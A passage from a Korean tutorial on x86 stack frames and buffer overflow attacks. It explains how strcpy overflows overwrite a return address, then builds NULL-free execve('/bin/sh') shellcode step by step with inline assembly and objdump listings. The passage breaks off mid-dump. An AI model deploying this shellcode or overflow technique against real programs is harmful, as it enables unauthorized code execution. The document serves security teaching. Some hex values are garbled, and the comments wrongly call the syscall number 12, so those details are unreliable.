26 <Step 7> 이전함수의 base pointer x804831a EBP 0xbffffa78 ESP 0xbffffa5c 이제 leave instruction을수행했다. leave instruction은함수프롤로그작업을되돌리는일을한다. 위에서본대로함수프롤로그는 push %ebp mov %esp, %ebp 였다. 이것을되돌리는작업은 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP mov %ebp, %esp pop %ebp 이다. leave instruction 하나가위의두가지일을한꺼번에하는것이다. stack pointer를이전의 base pointer로잡아서 function() 함수에서확장했던스텍공간을없애버리고 PUSH해서저장해두었던이전함수즉, main() 함수의 base pointer를복원시킨다. POP 을했으므로 stack pointer 는 1 word 위로올라갈것이다. 그러면이제 stack pointer 는 return address 가있는지점을가리키고있을것이다. ret instruction은이전함수로 return하라는의미이다. EIP 레지스터에 return address를 POP 하여집어넣는역할을한다. 굳이표현하자면 pop %eip 라고할수있겠지만앞에서설명한대로 EIP 레지스터는직접적으로수정할수없기때문에위와같은명령이먹히지는않지만이런동작을한다고이해하면된다. 26

27 <Step 8> 이전함수의 base pointer EBP 0xbffffa78 ESP 0xbffffa60 ret 를 수행하고 나면 return address는 POP되어 EIP에 저장되고 stack pointer는 1 word 위로올라간다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x <main+25>: call 0x80482f4 0x <main+23>: push $0x1 0x <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x <main+9>: mov $0x0,%eax 0x <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 로프로그래머가알아야할필요는없다. EIP add $0x10, %esp 는스텍을 16바이트줄인다. 따라서 stack pointer는 0x804830c 에있는명령을수행하기이전의위치로돌아가게된다. leave ret 를수행하게되면각레지스터들의값은 main() 함수프롤로그작업을되돌리고 main() 함수이전으로돌아가게된다. 이것은아마 init_process() 함수로되돌아가게될것이다. 이함수는운영체제가호출하는함수 27

28 5. Buffer overflow 의이해 버퍼 (buffer) 란시스템이연산작업을하는데있어필요한데이터를일시적으로메모리상의어디엔가저장하는데그저장공간을말한다. 문자열을처리할것이라면문자열버퍼가되겠고수열이라면숫자형데이터배열이되겠다. 대부분의프로그램에서는바로이러한버퍼를스텍에다생성한다. 스텍은함수내에서선언한지역변수가저장되게되고함수가끝나고나면반환된다. 이것은 malloc() 과같은반영구적 (free() 를해주지않는이상이영역을계속보존된다 ) 인데이터저장공간과는다른것이다. 자그러면이제 buffer overflow가어떤원리로동작하는지살펴보자. 많은 buffer overflow 관련문서에서언급했듯이 buffer overflow는미리준비된버퍼에버퍼의크기보다큰데이터를쓸때발생하게된다. < 그림 14> 에서보는스텍의모습은 40바이트의스텍이준비되어있으나 40바이트보다큰데이터를쓰면버퍼가넘치게되고프로그램은에러를발생시키게된다. 만약 40바이트의데이터를버퍼에쓴다면아무런지장이없을것이다. 하지만 41~44바이트의데이터를쓴다면? 그러면이전함수의 base pointer를수정하게될것이다. 더나아가 45~48바이트를쓴다면 return address가저장되어있는공간을침범하게될것이고 48바이트이상을쓴다면 return address뿐만아니라그이전에스텍에저장되어있던데이터마저도바뀌게될것이다. 여기서시스템에게첫명령어를간접적으로내릴수있는부분은 return address 가있는위치이다. return address는현재함수의 base pointer 바로위에있으므로그위치는변하지않는다. 공격자가 base pointer를직접적으로변경하지않는다면정확히해당위치에있는값이 EIP에들어가게되어있다. 따라서 buffer overflow 공격은공격자가메모리상의임의의위치에다원하는코드를저장시켜놓고 return address가저장되어있는지점에그코드의주소를집어넣음으로해서 EIP에공격자의코드가있는곳의주소가들어가게해공격을하는방법이다. 공격자는버퍼가넘칠때, 즉버퍼에데이터를쓸때원하는코드를넣을수가있다. 물론이때는정확한 return address가저장되는곳을찾아 return address도정확하게조작해줘야한다. 위에서살펴본 < 그림 14> 와 simple.c를다시상기시켜보자. function() 함수내에서정의한 buffer1[15] 와 buffer2[10] 의버퍼가있고여기에는 40바이트의버퍼가할당되어있다. function() 함수내에서는하지않았지만이버퍼에데이터를쓰려한다고생각해보자. 아래와같은코드를예를들어보자. strcpy(buffer2, receive_from_client); 28

29 이코드는 client로부터수신한데이터를 buffer2와 buffer1에복사한다. 알다시피 strncpy() 과같은함수는몇바이트나저장할지지정해주지만 strcpy함수는길이체크를해주지않기때문에 receive_from_client 안에들어있는데이터에서 NULL(\0) 를만날때까지복사를한다. < 그림 14> 와같은스텍구조에서 45~48바이트위치에있는 return address도조작해줘야하고공격코드도넣어줘야한다. < 그림 15> 와같은구성의공격코드를생각해보자 ( 실제값들은아무런의미가없는임의의값이다 ). < 그림 15. 공격코드구성예 1> 클라이언트인공격자가전송하는데이터는 receive_from_client에저장되어버퍼에복사될것이다. 그데이터가 < 그림 15> 와같이구성하여전송한다고가정하자. 그리고 strcpy가호출되어 receive_from_client가 buffer2에복사가될것을예상하면 < 그림 14> 와 < 그림 15> 를함께보았을때다음과같이매칭될것이다. 29

30 이전함수의 base pointer main() 이전함수의 base pointer 확장한 stack (12 byte) x804831a 0xbffffa78 function() 호출시사용된인자 main() 으로의 return address main() 의 base pointer 확장한 stack (40 byte) ESP 의미없는데이터 (40byte) main() 의 base pointer return address 쉘코드 (24byte) E6B0C03 59FFE374 AC357D61 C0E39BCA CEA631F7 C9AD10 CC6A2 < 그림 16. 공격코드가자리잡게될스텍상의위치 > strcpy 가호출되고나면스텍안의데이터는 < 그림 17> 과같이된다. < 그림 17. 공격코드가들어간후의스텍의모습 > 30

31 < 그림 17> 은 receive_from_client의데이터를버퍼에복사한후의모습이다. 들어가있는데이터들을가만히보면 < 그림 16> 에서만들어낸데이터와순서에있어약간의차이가있음을알수있다. Byte order 데이터가저장되는순서가바뀐이유는바이트정렬방식이다. 현존하는시스템들은두가지의바이트순서 (byte order) 를가지는데이는 big endian 방식과 little endian 방식이있다. big endian 방식은바이트순서가낮은메모리주소에서높은메모리주소로되고 little endian 방식은높은메모리주소에서낮은메모리주소로되어있다. IBM 370 컴퓨터와 RISC 기반의컴퓨터들그리고모토로라의마이크로프로세서는 big endian 방식으로정렬하고그외의일반적인 IBM 호환시스템, 알파칩의시스템들은모두 little endian 방식을사용한다. 예를들어 74E3FF59라는 16진수값을저장한다면 big endian에서는낮은메모리영역부터값을채워나가서 74E3FF59가순서대로저장된다. 반면 little endian에서는 59FFE374 의순서로저장된다. little endian이이렇게저장순서를뒤집어놓는이유는수를더하거나빼는셈을할때낮은메모리주소영역의변화는수의크기변화에서더적기때문이다. 예를들어 74E3FF59에 1을더한다고하면 74E3FF5A가될것이고메모리상에서의변화는 5AFFE374가된다. 즉낮은수의변화는낮은메모리영역에영향을받고높은수의변화는높은메모리영역에자리를잡게하겠다고하는것이 little endian 방식의논리이다. 높은메모리에있는바이트가변하면수의크기는크게변한다는말이다. 하지만한바이트내에서 bit의순서는 big endian 방식으로정렬된다. 참고로네트웍 byte order는 big endian 방식을사용한다. 이러한 byte order의문제때문에공격코드의바이트를정렬할때에는이러한문제점을고려해야한다. 그러므로 little endian 시스템에 return address 값을넣을때는바이트순서를뒤집어서넣어주어야한다. < 그림 17> 에서보는바와같이 return address가변경이되었고실제명령이들어있는코드는그위에있다. 이시점까지는아무런에러를발생하지않을것이다. 하지만함수실행이끝나고 ret instruction을만나면 return address가있는위치의값을 EIP에넣을것이고이제 EIP가가리키는곳의명령을수행하려할것이다. 이때이주소에명령어가들어있지않다면프로그램은오류를발생시키게된다. 또한공격자는자신이만든공격코드를실행하기를원하므로 EIP에 return address 위에있는쉘코드의시작주소를넣고싶어한다. 어떻게하면이주소를알아낼수있을까? 그방법은다음장에서살펴보도록하자. 일단은쉘코드가들어있는지점의정확한주소를찾았다고생각하자. <step 8> 의그림을참고해볼때주소는 0xbffffa60이다. < 그림 17> 을다시그려쉘코드와 return address를 31

32 묘사해보면 < 그림 18> 과같다. < 그림 18. 스텍에들어있는공격코드 > < 그림 18> 에서보여주는공격코드는 execve( /bin/sh, ) 이다. 즉쉘을띄우는것이다. 실제쉘코드가그림처럼들어가있는것은아니다. 쉘코드를기계어코드로변환하여 1 word 단위로넣어가면서따져보면알수있겠으나 < 그림 18> 은저위치에저런의미의코드가들어있다는개념을표현한것이므로그개념만이해하기바란다. 쉘코드의시작지점은스텍상의 0xbffffa60이다. 따라서함수가리턴될때 return address 는 EIP에들어가게될것이고 EIP는 0xbffffa60에있는명령을수행할것이므로 execve( /bin/sh, ) 를수행하게된다. 이것이바로 buffer overflow를이용한공격방법이다!! 만날수있는문제점한가지 < 그림 18> 에서의공격코드는총 24byte 공간안에들어가있다. 하지만공격코드가 24byte로만들어진다면좋겠지만그렇지못할경우가발생할수있다. 즉 return address 위의버퍼공간이쉘코드를넣을만큼충분하지않다면다른공간을찾아보는수밖에없다. 위의예에서사용할수있는공간은바로 이들어가있는 function() 함수가사용한스텍공간이다. 이공간은 40byte이고추가로 main() 함수의 base pointer가저장되어있는 4byte까지무려 44byte라는공간이낭비되고있다. 그래서비좁은 24byte의공간이아니라 20byte나더넓은저공간을활용해보도록하자. 그러면문제는 return address 가 EIP에들어간다음에 40byte의스텍공간의명령을수행할수있도록해주어야한다. 물론 return address에다직접 40byte 공간의주소를적어주면좋겠지만위에서언급했듯이해당명령어가있는주소를정확히알아내는것은매우어렵다. 따라서간접적 32

33 으로그곳으로명령수행지점을변경해주는방법을사용한다. < 그림 19> 는 ESP 값을이용하여명령수행지점을지정해주는방법을보여주고있다. < 그림 19. 또다른공격코드의배치 > < 그림 19> 에서는쉘코드가 return address 아래에있다. 즉 40byte가남아있던그공간이다. return address는똑같다. <Step 7> 을연상해보자. 함수가실행을마치고 return할때 return address가스텍에서 POP되어 EIP에들어가고나면 stack pointer는 1 word 위로이동한다. 따라서 ESP는 return address가있던자리위를가리키게된다. EIP는 0xbffffa60 을가리키고있을테니그곳에있는명령을수행할것이다. < 그림 18> 에서쉘코드가있던그자리에는다음과같은코드가들어갔다. ESP가가리키는지점을쉘코드가있는위치를가리키도록 48byte를빼주고 jmp %esp instruction을수행하여 EIP에 ESP가가리키는지점의주소를넣도록한다. 이과정의명령들을쉘코드로변환했을때단 8byte만있으면충분하다. 다행히도 ESP 레지스터는사용자가직접수정할수있는레지스터이기때문에가능해진다. 위에서는 return address 이후의버퍼공간이부족할경우 return address 이전의버퍼공간을활용하는방법을설명하였다. 하지만만약이공간도부족하다면 return address 부분만을제외한위아래모든공간을활용하도록코딩을할수있을것이고그것도안된다면또다시다른공간을찾는작업을해야한다. 쉘코드만들기 이제쉘코드를만들어보자. 쉘코드란쉘 (shell) 을실행시키는코드이다. 쉘은흔히명령해석기라고불리는데일종의유저인터페이스라고보면된다. 사용자의키보드입력을받아 33

34 서실행파일을실행시키거나커널에어떠한명령을내릴수있는대화통로이다. 쉘코드는바이너리형태의기계어코드 ( 혹은 opcode) 이다. 우리가쉘코드를만들어야하는이유는실행중인프로세스에게어떠한동작을하도록코드를넣어그실행흐름을조작할것이기때문에역시실행가능한상태의명령어를만들어야하기때문이다. 컴퓨터가 2진수명령어를수행한다는사실은다들알것이다. 만약공격자가기계어코드에능통하다면직접기계어코드를작성해도좋을것이다. 예전에 8bit 퍼스널컴퓨터시절에는기계어코드능통자가참많았다. 당시에는베이직언어와어셈블리언어로프로그래밍을했었는데그와상응하는수준의프로그램을기계어코드로직접작성을했었다. 하지만지금은 CPU instruction의종류가늘어났고커널이복잡해져서아주힘든작업이다. 그래서우리는 C를이용하여간단한프로그램을작성한다음컴파일러가변환시켜준어셈블리코드를최적화시켜쉘코드를생성할것이다. 쉘코드를만들기위해서먼저쉘을실행시키는프로그램을작성한다. 그런다음어셈블리코드를얻어내고불필요한부분을빼고또라이브러리에종속적이지않도록일부수정을해준다음에바이너리형태의데이터를만들어낼것이다. 쉘실행프로그램우리가쉘상에서쉘을실행시키려면 /bin/sh 라는명령을내리면된다. 아주간단하다. 마찬가지로쉘실행프로그램역시이명령을내리는것과똑같은일을하도록해주면된다. 아래의코드를보자. [dalgona@redhat8 bof]$ cat sh.c #include<unistd.h> void main(){ char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [dalgona@redhat8 bof]$ gcc -o sh sh.c sh.c: In function `main': sh.c:2: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh sh-2.05b$ < 그림 20. sh.c> 쉘을실행시키기위해서 execve() 라는함수를사용했다. 이함수는바이너리형태의실행 34

35 파일이나스크립트파일을실행시키는함수이다. execve() 함수에대한 man 페이지를살펴보면알수있겠지만세개의인자들이모두 const char * 형인자들을요구하고있고첫번째인자는파일이름, 두번째인자는함께넘겨줄인자들의포인터, 세번째인자는환경변수포인터이다. 이러한조건들을만족시켜주기위해서 char *shell[2] 를만들었고각인자들을채워주었다. 두번째인자인인자들의포인터는 C 프로그램의 main() 함수에 argv 라는인자를떠올리면된다. argv[0] 은해당프로그램의실행파일이름을나타내고 argv[1] 은실행시주어진첫번째인자 이런식으로나간다. 마찬가지로 execve() 의두번째인자는 argv[0] 부터들어가는값을가리키는포인터가되어야한다. 이제이프로그램이컴파일되어생성될바이너리코드를얻어야한다. 귀찮게도 execve() 함수때문에이프로그램은컴파일되면서 Linux libc와링크되게된다. execve() 의실제코드는 libc에들어있기때문이다. 따라서 execve() 가어떤일을하는지도알아보기위하여 static library 옵션을주어컴파일해야한다. Dynamic Link Library & Static Link Library 리눅스뿐만아니라윈도우즈, 솔라리스등등대부분의운영체제들이 Dynamic Link Library와 Static Link Library를지원하고또한대부분의컴파일러들이이를지원한다. Dynamic Link Library는우리말로는동적링크라이브러리라고해석되고있다. 응용프로그램의실행에있어서실제프로그램의동작에는매우많은명령들이사용된다. 그리고많은응용프로그램들이공통적으로사용하는명령어들이있다. 예를들어 C언어에서사용하는 printf() 함수는어떤문자열을출력하는함수이다. 이는문자열을받아서특정한위치의값들을채운다음에화면이나표준출력, 소리등의방법으로출력할것이다. 이러한일을수행하는기계어코드가어떤형태로만들어져있을것이다. 가령 ps 라는프로그램도 printf() 함수를사용하여화면에출력할것이다. 또한 cat 이라는프로그램도 printf() 함수를사용할것이다. 그런데 ps 도 printf() 기능의기계어코드를포함하고있고 cat 도 printf() 기능의기계어코드를포함하고있다면같은기능을하는기계어코드가서로다른실행파일에모두포함되어있게되는것이다. 저장공간의낭비가아닐수없다. 그래서운영체제에는이렇게많이사용되는함수들의기계어코드를자신이가지고있고다른프로그램들이이기능을빌려쓰게해준다. 그래서 ps 도 cat 도 printf() 기계어코드를직접가지고있지않고 printf() 코드가필요할때에는운영체제에게이기능을쓰겠다라고해주면그코드를빌려주는것이다. 따라서응용프로그램프로그래머는이기능을직접구현할필요가없고그냥호출만해주면되는것이고컴파일러도직접컴파일할필요없이호출하는기계어코드만생성해주면된다. 이러한기능들은라이브러리라고하는형태로존재하고있으며리눅스에서는 libc라는라이브러리에들어있고실제파일로는.so 혹은.a라는확장자를가진형태로존재한다. 윈도우즈에서는 DLL(Dynamic Link Library) 파일로존재하게된다. 하지만운영체제의버전과 libc의버전에따라호출형태나링크형태가달라질수있기때문에이제영향을받지않기위해서 printf() 기계어코드를실행파일이직접가지고있게할수있는 35

36 데그방법이 Static Link Library이다. 다만 Dynamic Link Library 방식보다실행파일의크기가당연히커질것이다. 윈도우즈용응용프로그램에서실행파일을실행했는데무슨무슨 DLL 파일을찾을수없다는에러메시지를띄우면서실행하지않는경우를봤을것이다. 이것은 Dynamic Link Library 형태의프로그램인데필요한기계어코드가있는라이브러리를찾지못했다는뜻이다. 또는응용프로그램을설치했는데 DLL 파일을필요로하지않고달랑실행파일하나만있는프로그램의경우는대부분 Static Link Library 형태의프로그램인것이다. 이와같은개념은 < 그림 21> 에서설명하고있다. (a) Dynamic Link Library (b) Static Link Library < 그림 21. Dynamic Link Library & Static Link Library> 그러면이제 sh.c 프로그램에서호출하는 execve() 함수의내부까지들여다보기위해서 Static Link Library 형태로컴파일한후기계어코드를살펴보자. < 그림 22> 처럼하였다. bof]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-hancom-linux/3.2.3/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man -- infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking -- with-system-zlib --enable- cxa_atexit --host=i386-hancom-linux Thread model: posix gcc version (Hancom Linux 3.2.3) bof]$ gcc -static -g -o sh sh.c sh.c: In function `main': sh.c:2: warning: return type of `main' is not `int' bof]$ objdump -d sh grep \< execve\>: -A 32 36

37 0804c75c < execve>: 804c75c: 55 push %ebp 804c75d: b mov $0x0,%eax 804c762: 89 e5 mov %esp,%ebp 804c764: 85 c0 test %eax,%eax 804c766: 57 push %edi 804c767: 53 push %ebx 804c768: 8b 7d 08 mov 0x8(%ebp),%edi 804c76b: je 804c772 < execve+0x16> 804c76d: e8 8e 38 fb f7 call 0 <_init-0x80480b4> 804c772: 8b 4d 0c mov 0xc(%ebp),%ecx 804c775: 8b mov 0x10(%ebp),%edx 804c778: 53 push %ebx 804c779: 89 fb mov %edi,%ebx 804c77b: b8 0b mov $0xb,%eax 804c780: cd 80 int $0x80 804c782: 5b pop %ebx 804c783: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804c788: 89 c3 mov %eax,%ebx 804c78a: ja 804c792 < execve+0x36> 804c78c: 89 d8 mov %ebx,%eax 804c78e: 5b pop %ebx 804c78f: 5f pop %edi 804c790: c9 leave 804c791: c3 ret 804c792: f7 db neg %ebx 804c794: e8 93 bc ff ff call c < errno_location> 804c799: mov %ebx,(%eax) 804c79b: bb ff ff ff ff mov $0xffffffff,%ebx 804c7a0: eb ea jmp 804c78c < execve+0x30> 804c7a2: 90 nop 804c7a3: 90 nop [dalgona@redhat8 bof]$ < 그림 22. sh.c 의 static link library 컴파일및 object dump> 37

38 sh.c를 static link library(-static) 로컴파일하여 sh라는실행파일을만들었다. 그리고 objdump를이용하여기계어코드를출력하게하였다. objdump로 sh를덤프하면엄청긴내용이나온다. 따라서필요한부분 execve() 함수부분만보기위해서 grep을하였고 execve() 부분을보니 32라인이면다보이기때문에 A 32 옵션을주어 32라인만출력하게하였다. 덤프된코드는세개의 column으로출력되는데맨왼쪽은 address를나타내고가운데는기계어코드, 맨오른쪽은기계어코드에대응하는어셈블리코드를나타낸다. 참고로기계어코드는어셈블리코드와 1:1 대응이된다. execve() 함수내에서보면함수프롤로그를하고함수호출이전에스텍에쌓인인자값들을검사하고이상이없으면인터럽트를발생시켜시스템콜 (system call) 을한다. 시스템콜은운영체제와약속된행동을해달라고요청하는것이다. 다른부분은별상관이없으므로 < 그림 22> 에굵게표시한부분만보도록하자. execve() 함수는인터럽트를발생시키기이전에범용레지스터에각인자들을집어넣어줘야한다. 그래서 804c768: 8b 7d 08 mov 0x8(%ebp),%edi 804c76b: je 804c772 < execve+0x16> 804c76d: e8 8e 38 fb f7 call 0 <_init-0x80480b4> 804c772: 8b 4d 0c mov 0xc(%ebp),%ecx 804c775: 8b mov 0x10(%ebp),%edx 804c778: 53 push %ebx 804c779: 89 fb mov %edi,%ebx 이러한작업을하는데조금흩어져있긴하지만정리해서보면 mov 0x8(%ebp),%ebx mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx 를하는것이다. 이것은 ebp 레지시터가가리키는곳의 +8 byte 지점의값을 ebx 레지스터에넣고, +12 byte 지점의값을 ecx 레지스터에넣고, +16 byte 지점의값을 edx 레지스터에넣어라는뜻이다. < 그림 22> 를보면 ebp는함수프롤로그에의해서 execve() 가호출되고이전함수의 base pointer를 PUSH하고난다음의 esp가가리키던곳을가리키고있다. 따라서 ebp + 0 byte 지점은이전함수의 ebp(base pointer) 가들어가있을것이다. 그리고 ebp+4 byte 지점은 return address가들어가있을것이고, ebp + 8, ebp + 12, ebp + 16 지점은 execve() 함수가호출되기이전함수에서 execve() 함수의인자들이역순으로 PUSH되어들어갔을것이다. 이것이잘이해되지않는다면앞에서했던 <step 3, 4, 5> 과정을다시한 38

39 번살펴보기바란다. 그런다음 804c77b: b8 0b mov $0xb,%eax 804c780: cd 80 int $0x80 eax 레지스터에 11을넣고 int $0x80을하였다. 이과정이 system call 과정이다. int $0x80은운영체제에할당된인터럽트영역으로 system call을하라는뜻이다. int $0x80을호출하기이전에 eax 레지스터에시스템콜벡터 (vector) 를지정해줘야하는데 execve() 에해당하는값이 11(0xb) 인것이다. 정리해서다시말하면 11번시스템콜을호출하기위해각범용레지스터에값들을채우고시스템콜을위한인터럽트를발생시킨것이다. 참고로 32bit Intel Architecture에서의인터럽트및 Exception는 < 그림 23> 에표현하였다. < 그림 23. Exceptions and Interrupts> < 그림 23> 에서볼수있듯이인터럽트 0x80 은 Maskable Interrupts 로써 External 39

40 interrupt 영역에있음을알수있다. 그러면이제 execve() 를호출하기이전에 main() 에서는어떤처리를했었는지알아보자. bof]$ objdump -d sh grep \<main\>: -A d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f movl $0x ,0xfffffff8(%ebp) 80481e7: c7 45 fc movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 5d call 804c75c < execve> 80481ff: 83 c4 10 add $0x10,%esp : c9 leave : c3 ret bof]$ < 그림 24. sh 의 main() 을 dump 한모습 > main() 함수에서는 execve() 를호출하기위해서세번의 push를한다. 이는 execve() 의인 자로넘겨주는값이라는것을짐작할수있을것이다 e0: c7 45 f movl $0x ,0xfffffff8(%ebp) 80481e7: c7 45 fc movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 40

41 80481fa: e8 5d call 804c75c < execve> 제일처음 /bin/sh 라는문자열이들어있는곳의주소 (0x ) 를 ebp 레지스터가가 리키는곳의 -8 byte 지점 (0xfffffff8) 에넣는다. 그리고 ebp - 4byte 지점 (0xfffffffc) 에는 0 을넣는다. 이것은 sh.c에서 shell[0] = "/bin/sh"; shell[1] = NULL; 와같은역할을한다. 그리고이제이값들을 PUSH하기시작한다. push $0x0 NULL을 PUSH하고 lea 0xfffffff8(%ebp),%eax push %eax ebp+8의주소를 eax 레지스터에넣은다음에 eax 레지스터를 PUSH한다. 포인터를 PUSH 한것이다. pushl 0xfffffff8(%ebp) call 804c75c < execve> ebp+8의값을 PUSH하고 execve() 를호출한다. 이상의수행을마치고나면 segment 내의모습은 < 그림 25> 와같게된다. < 그림 25. execve() 를호출하기전 segment의모습 > < 그림 25> 를보자. 어떤가? shell 변수는 char * 형의배열이름이다. 따라서 shell 자체는 41

42 char * 들이위치한곳을가리키고있을것이다. < 그림 25> 의 ebp-4와 ebp-8이바로포인터들이모여있는곳이다. shell[0] 은 /bin/sh 라는문자열이있는곳의주소를가지고있다. /bin/sh 는정의된값이므로 data segment에위치할것이다. 그곳어딘가의주소가 0x 이라고 objdump를하여알수있었다. main() 함수에서각값들을 PUSH하여스텍에는 /bin/sh 가있는주소, shell의주소, 그리고 0이들어가있다. 그러면이제쉘을띄우기위한과정이명확해졌다. 1. 스텍에 execve() 를실행하기위한인자들을제대로배치하고 2. NULL과인자값의포인터를스텍에넣어두고 3. 범용레지스터에이값들의위치를지정해준다음에 4. interrupt 0x80을호출하여 system call 12를호출하게하면된다. 위의코드에서는 /bin/sh 가 data segment에저장되어있기때문에 data segment의주소를이용할수있었지만 buffer overflow 공격시점에서는 /bin/sh 가어느지점에저장되어있다는것을기대하기도어렵고또한있다고하더라도저장되어있는메모리공간의주소를찾기도어렵다. 따라서직접넣어주어야할것이다. 이제이와같은역할을하는코드를작성해보자. push $0x0 // NULL을넣어준다 push /sh\0 // /sh\0 문자열의끝을의미하는 \0 push /bin // /bin 문자열. 위와합쳐서 /bin/sh\0가된다. mov %esp,%ebx // 현재스텍포인터는 /bin/sh\0를넣은지점이다. push $0x0 // NULL을 PUSH push %ebx // /bin/sh\0의포인터를 PUSH mov %esp,%ecx // esp 레지스터는 /bin/sh\0의포인터의포인터다 mov $0x0,%edx // edx 레지스터에 NULL을넣어줌 mov $0xb,%eax // system call vector를 12번으로지정. eax에넣는다 int $0x80 // system call을호출하라는 interrupt 발생 이러한코드를만들어내면될것이다. push /sh\0 와 push /bin 은실제어셈블리코드가아니다. 그냥개념적으로적은것이다. 이를실제어셈블리코드로만들려면 push $0x f push $0x6e69622f 으로해줘야한다. 문자를 16진수값으로바꾼것이다. 물론 little endian 순서이다. 자이제이코드가제대로동작하는지컴파일해보도록하자. 이코드는 C 프로그램내 42

43 에인라인어셈블 (inline assemble) 로코딩할것이고 main() 함수안에들어갈것이기때문에함수프롤로그가필요없다. 컴파일러가알아서함수프롤로그를만들어줄것이기때문이다. /bin/sh 를 16진수형태로바꾸고 main() 함수안에넣어서작성한 sh01.c 의코드는아래와같다. bof]$ cat sh01.c void main(){ asm volatile ( "push $0x0 \n\t" "push $0x f \n\t" "push $0x6e69622f \n\t" "mov %esp,%ebx \n\t" "push $0x0 \n\t" "push %ebx \n\t" "mov %esp,%ecx \n\t" "mov $0x0,%edx \n\t" "mov $0xb,%eax \n\t" "int $0x80 \n\t" ); } [dalgona@redhat8 bof]$ gcc -o sh01 sh01.c sh01.c: In function `main': sh01.c:1: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh01 sh-2.05b$ exit exit [dalgona@redhat8 bof]$ objdump -d sh01 grep \<main\>: -A <main>: : 55 push %ebp : 89 e5 mov %esp,%ebp b: 83 ec 08 sub $0x8,%esp e: 83 e4 f0 and $0xfffffff0,%esp : b mov $0x0,%eax : 29 c4 sub %eax,%esp : 6a 00 push $0x0 43

44 804831a: 68 2f push $0x68732f f: 68 2f e push $0x6e69622f : 89 e3 mov %esp,%ebx : 6a 00 push $0x : 53 push %ebx : 89 e1 mov %esp,%ecx b: ba mov $0x0,%edx : b8 0b mov $0xb,%eax : cd 80 int $0x : c9 leave : c3 ret : 90 nop a: 90 nop bof]$ < 그림 26. 쉘을실행시키는어셈블리코드의실행 > NULL의제거여기서문제점이발견되었다. 우리는이기계어쉘코드를얻은다음에이것을문자열형태로전달할것이다. 감사하게도 C언어에서는 char형변수에바이너리값을넣는방법을제공하고있다. 바로 char c= \x90 과같은형태로값을넣어주면컴파일러는 \x90 을이렇게생긴문자열로보지않고 16진수 90으로인식하여 1byte 데이터로저장한다. 그래서기계어코드로만들어진쉘코드를 char형문자열로전달할것이다. 그런데 push 0x0 와같은어셈블리코드는기계어코드로 6a 00 이다. 이것을문자열형태로전달하려면 char a[] = \x6a\x00 과같이해주어야한다. 하지만 char형배열, 즉문자열에서는 0 의값을만나면그것을문자열의끝으로인식하게된다. 즉 0x00 뒤에어떤값이있더라도그이후는무시해버린다. 0x00와같은기계어코드는엄청많이만날수있다. 따라서귀찮지만 \x00인기계어코드가생기지않게만들어줘야한다. 또한 mov $0xb,%eax 코드또한 00 를만들어내기때문에이것도고쳐줘야한다. 이러한문제점을해결하여위의어셈블리코드를다시작성하면아래와같게만들수있다. xor %eax,%eax // 같은수를 XOR하면 0이된다. 즉 NULL이다. push %eax // NULL을 PUSH push $0x68732f2f // /bin/sh나 /bin//sh나둘다 shell을띄운다. push $0x6e69622f // /bin 문자열. 위와합쳐서 /bin//sh가된다. mov %esp,%ebx // 현재스텍포인터는 /bin//sh를넣은지점이다. push %eax // NULL을 PUSH push %ebx // /bin//sh의포인터를 PUSH 44

45 mov %esp,%ecx // esp 레지스터는 /bin//sh 포인터의포인터다 mov %eax,%edx // edx 레지스터에 NULL을넣어줌 mov $0xb,%al // system call vector를 12번으로지정. al에넣는다. int $0x80 // system call을호출하라는 interrupt 발생 bof]$ cat sh02.c void main(){ asm volatile ( "xor %eax,%eax \n\t" "push %eax \n\t" "push $0x68732f2f \n\t" "push $0x6e69622f \n\t" "mov %esp,%ebx \n\t" "push %eax \n\t" "push %ebx \n\t" "mov %esp,%ecx \n\t" "mov %eax,%edx \n\t" "mov $0xb,%al \n\t" "int $0x80 \n\t" ); } [dalgona@redhat8 bof]$ gcc -o sh02 sh02.c sh02.c: In function `main': sh02.c:1: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh02 sh-2.05b$ exit exit [dalgona@redhat8 bof]$ objdump -d sh02 grep \<main\>: -A f4 <main>: 80482f4: 55 push %ebp 80482f5: 89 e5 mov %esp,%ebp 